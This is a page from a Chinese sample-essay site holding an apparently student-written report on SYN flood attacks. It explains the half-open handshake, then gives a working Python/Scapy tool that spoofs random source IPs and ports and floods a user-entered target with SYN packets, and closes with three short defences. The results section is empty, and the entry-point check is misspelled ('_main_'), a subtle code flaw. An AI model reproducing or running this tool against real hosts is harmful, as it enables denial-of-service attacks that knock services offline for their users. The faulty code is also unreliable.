1200字范文,内容丰富有趣,写作的好帮手!
1200字范文 > SYN泛洪攻击原理及实现

SYN泛洪攻击原理及实现

时间:2020-11-12 17:54:54

相关推荐

SYN泛洪攻击原理及实现

1、相关原理、技术分析

常见的SYN泛洪攻击方法有三种:

直接攻击,IP欺骗攻击,分布式攻击(DDoS)。

一个用户向服务器发送了 SYN报文后突然死机或掉线, 则服务器在发出 SYN 和ACK 应答报文后,客户端无法及时答复,导致服务器无法收到客户端的 ACK 报文( 即第三次握手无法完成) ,这时服务器会处于一个半连接握手状态。

我采用直接攻击方法,攻击者只需要向服务端发送大量的TCP请求连接而不进行回应,就会出现大量的这种半握手状态的连接, 在服务器产生很多的请求队列, 最后的结果往往是堆栈溢出崩溃——即使服务器端的系统资源足够充分, 服务器也将忙于处理攻击者伪造的TCP连接请求而无暇理睬客户的正常请求, 此时服务器失去了对客户端的响应, 从而达到SYN泛洪攻击的目的。

2、设计思路、算法描述

我伪造一些IP地址和端口,让它给服务器发送大量的TCP请求,但是我又不进行回应,这样服务器就会产生大量的请求队列,导致服务器堆栈溢出,使服务器崩溃,无法正常接收客户请求。

使用随机生成函数,产生0-255之间的4个数,组装成IP地址如:192.168.43.208;产生1000-65535之间的1一个数,把它当作端口号,再输入要发送的数据包的个数,然后数据包就开始发送了,我们去查看当前网络的吞吐量,来判断是否攻击成功。

3、详细实现(代码必须注释)

from scapy.all import *

import random

#生成随机的IP

def randomIP():

ip = ".".join(map(str, (random.randint(0, 255) for i in range(4))))

return ip

#生成随机端口

def randomPort():

port = random.randint(1000, 65535)

return port

#SYN泛洪攻击

def synFlood(count, dstIP, dstPort):

total = 0

print("数据包正在发送...")

for i in range(count):

# IP数据报封装

srcIP = randomIP()

dstIP = dstIP

IPlayer = IP(src=srcIP, dst=dstIP)

# TCP层

srcPort = randomPort()

TCPlayer = TCP(sport=srcPort, dport=dstPort, flags="S")

# 发送包

packet = IPlayer / TCPlayer

send(packet)

total += 1

#所有的数据包发送完毕后显示一下

print("发送数据包的数目: %i" % total)

#显示的信息

def info():

print("欢迎使用SYN泛洪攻击工具")

print("#"*15)

# 输入目标IP和端口

dstIP = input("请输入目的IP: ")

dstPort = int(input("请输入目的端口: "))

return dstIP, dstPort

if __name__ == '_main_':

dstIP, dstPort = info()

cout = int(input("请输入需要发送的数据包个数:"))

synFlood(cout, dstIP, dstPort)

4、程序测试、结果分析

5、总结

SYN泛洪攻击的原理很简单,实现起来也容易,如何防范呢?

1.降低SYN timeout时间,使得主机尽快释放半连接的占用。

2.采用SYN cookie设置,如果短时间内连续收到某个IP的重复SYN请求,则认为受到了该IP的攻击,丢弃来自该IP的后续请求报文。

3.可以使用一些外部网络安全设施如防火墙等。

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。